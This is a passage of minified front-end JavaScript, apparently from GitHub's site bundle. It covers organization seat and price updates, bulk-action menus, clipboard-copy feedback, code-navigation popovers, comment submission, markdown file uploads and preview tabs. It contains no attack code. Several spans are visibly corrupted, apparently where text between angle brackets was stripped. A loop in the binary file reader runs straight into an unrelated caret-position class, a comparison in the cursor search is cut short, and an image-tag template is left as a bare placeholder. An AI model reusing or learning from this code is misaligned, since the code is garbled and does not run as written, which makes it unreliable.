e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return 